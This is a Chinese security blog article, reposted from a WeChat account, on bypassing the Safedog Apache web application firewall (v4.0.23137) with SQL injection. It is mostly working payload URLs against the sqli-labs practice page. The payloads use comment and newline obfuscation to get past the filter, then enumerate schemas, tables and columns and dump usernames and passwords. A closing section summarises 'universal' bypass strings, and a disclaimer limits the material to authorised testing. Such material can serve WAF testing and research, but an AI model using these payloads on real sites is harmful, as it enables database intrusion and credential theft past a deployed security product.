【Bypass】安全狗apache V4.0.23137 SQL注入绕过

admin 2022年3月16日23:05:44评论122 views字数 3505阅读11分41秒阅读模式
✎ 阅读须知


乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!


更新时间:2021.10.21

1. 版本

当前版本是最新版安全狗 主程序版本号为:v4.0.23137

【Bypass】安全狗apache V4.0.23137 SQL注入绕过

上一次的版本为 主程序版本号为:v4.0.26655

【Bypass】安全狗apache V4.0.23137 SQL注入绕过

所以这次已经对安全狗进行了升级。

【Bypass】安全狗apache V4.0.23137 SQL注入绕过

2. 开始绕

按照ling老板的笔记,继续:

关键:/*//------/*/
安全狗 order by 绕过id=1%27%20order%20/*//------/*/--+%20%0Aby%203--+s
精简版:id=1%27%20order%20/*//--/*/by%203--+
过union select -1%27%20union%20/*//--/*/select%201,2,3--+
过关键字database:d=-1%27%20union%20/*//--/*/select%201,database/*//--/*/(),3--+

测试:http://127.0.0.1/sqli/Less-1/?id=-1'union%20/*//--/*/select%201,2,concat(schema_name) from /*/--/information_/schema.--/*/schemata--+*/%23
http://10.0.66.157/sqli/Less-1/?id=-1'union%20/*//--/*/select%201,2,concat(username) from /*/--/information_/schema.--/*/users--+*/%23
http://10.0.66.157/sqli/Less-1/?id=-1'union%20/*//--/*/select%201,2,concat(username) from /*/--/*/users--+*/%23


单独的from 不拦截 schema.schemata也不拦截, information_schema拦截,from information拦截,from/*//--/*/information不拦截



查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查字段:select column_name from information_schema.columns where table_name='users'
查字段的值:select username,password from security.users

ling老板口算一个字符,非常重要%20/*//--/*/接下来的操作都是在此基础上实现的。

2.1 order by 语句

http://192.168.127.131/sqli/Less-1/?id=1' order by 1 --+ 拦截

【Bypass】安全狗apache V4.0.23137 SQL注入绕过

http://192.168.127.131/sqli/Less-1/?id=1' order /*//--/*/ by 121 --+  bypass成功

【Bypass】安全狗apache V4.0.23137 SQL注入绕过

2.2  union select语句

http://192.168.127.131/sqli/Less-1/?id=1' union /*//--/*/ select 1,2, 3 --+ 绕过

【Bypass】安全狗apache V4.0.23137 SQL注入绕过

http://192.168.127.131/sqli/Less-1/?id=1' union /*//--/*/ /*!--+/*%0aselect/*!1,2,3*/ --+ 同样可以绕过

【Bypass】安全狗apache V4.0.23137 SQL注入绕过

2.3 database()关键字

http://192.168.127.131/sqli/Less-1/?id=1' union /*//--/*/ select 1,2, database() --+ 拦截

http://192.168.127.131/sqli/Less-1/?id=-1' union /*//--/*/ /*!--+/*%0aselect/*!1,2,*/database /*//--/*/ () --+  正常

【Bypass】安全狗apache V4.0.23137 SQL注入绕过
image.png

2.4 获取其他的库

http://192.168.127.131/sqli/Less-1/?id=-1' union /*//--/*/ select 1,2, group_concat(schema_name) from information_schema.schemata --+拦截

【Bypass】安全狗apache V4.0.23137 SQL注入绕过

这里经过多次fuzz,后来发现狗狗对information_schema.schemata 拦截比较厉害,

http://192.168.127.131/sqli/Less-1/?id=-1' union /*//--/*/ select 1,2, group_concat(schema_name) from information_schema. /*//--/*/ schemata --+ 还是被拦截

【Bypass】安全狗apache V4.0.23137 SQL注入绕过那在这里还是无法绕过,在这里就使用以前的一个%0a试试

/*!06447%23%0afrom*/

因此在这里可以使用

http://192.168.127.131/sqli/Less-1/?id=-1'   union   /*//--/*/ select 1,2, group_concat(schema_name)    /*!from*/    /*!--+/*%0ainformation_schema./*!schemata*/ --+
【Bypass】安全狗apache V4.0.23137 SQL注入绕过

当然,在上次发的教程中,上面的那个被拦截了,但是在这更新之后,并未进行拦截,所以以前的方法在这里也可以使用union select 1,2,3 转换为: union /*!--+/*%0aselect/*!1,2,*/3

http://192.168.127.131/sqli/Less-1/?id=-1'   union   /*!--+/*%0aselect/*!1,2,*/  group_concat(schema_name)    /*!from*/    /*!--+/*%0ainformation_schema./*!schemata*/ --+
【Bypass】安全狗apache V4.0.23137 SQL注入绕过

2.5 一次性获取所有的表

http://192.168.127.131/sqli/Less-1/?id=-1'   union /*!--+/*%0aselect/*!1,2,*/  group_concat(table_name)    /*!from*/     /*!--+/*%0ainformation_schema./*!tables*/ where table_schema='security' --+
【Bypass】安全狗apache V4.0.23137 SQL注入绕过

2.6 一次性获取所有的字段

http://192.168.127.131/sqli/Less-1/?id=-1'  union /*!--+/*%0aselect/*!1,2,*/  group_concat(column_name)    /*!from*/     /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+
【Bypass】安全狗apache V4.0.23137 SQL注入绕过

2.7 一次性获取字段里面的值

http://192.168.127.131/sqli/Less-1/?id=-1'  union /*!--+/*%0aselect/*!1,2,*/  group_concat(concat_ws(0x7e,username, password))     /*!from*/    security.users --+
【Bypass】安全狗apache V4.0.23137 SQL注入绕过

3. 总结

这个和上次的绕过相比较,更加简单了,万能的绕过方法依旧可以使用 这里比较重要的点:

万能符号:union select  --> union/*//--/*/select

union select 1,2,3  -->  union /*!--+/*%0aselect/*!1,2,*/ 3

不过从版本上看,好像还是没变的

【Bypass】安全狗apache V4.0.23137 SQL注入绕过







【Bypass】安全狗apache V4.0.23137 SQL注入绕过

原文始发于微信公众号(无级安全):【Bypass】安全狗apache V4.0.23137 SQL注入绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月16日23:05:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Bypass】安全狗apache V4.0.23137 SQL注入绕过https://cn-sec.com/archives/830814.html

发表评论

匿名网友 填写信息